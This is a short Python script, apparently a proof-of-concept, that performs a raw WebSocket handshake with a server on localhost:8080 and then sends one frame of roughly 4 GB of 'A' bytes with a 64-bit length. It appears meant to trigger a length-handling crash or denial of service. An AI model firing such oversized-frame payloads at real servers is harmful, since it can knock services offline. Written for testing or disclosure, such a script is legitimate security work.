#! /usr/bin/python

import socket
import struct

def read_response(s):
    data = ''
    while '\r\n\r\n' not in data:
        data += s.recv(1024)
    return data

request1 = ''
request1 += 'GET / HTTP/1.1\r\n'
request1 += 'Host: localhost:8080\r\n'
request1 += 'Upgrade: websocket\r\n'
request1 += 'Connection: Upgrade\r\n'
request1 += 'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
request1 += 'Sec-WebSocket-Version: 13\r\n'
request1 += '\r\n'

def websocket_connect():
    s = socket.create_connection(('localhost', 8080))
    s.send(request1)
    response = read_response(s)
    return s

def websocket_send_large(s, data):
    pkt = ''
    pkt += struct.pack('!B', 0b10000010) # FIN . . . BINARY_FRAME
    pkt += struct.pack('!B', 127) # 7+64
    pkt += struct.pack('!Q', len(data))  # payload length
    pkt += data

    while len(pkt) > 0:
        s.send(pkt[:0x1000])
        pkt = pkt[0x1000:]
        
s = websocket_connect()
websocket_send_large(s, 'A' * (0xffffffff))
print s.recv(1024).encode('hex')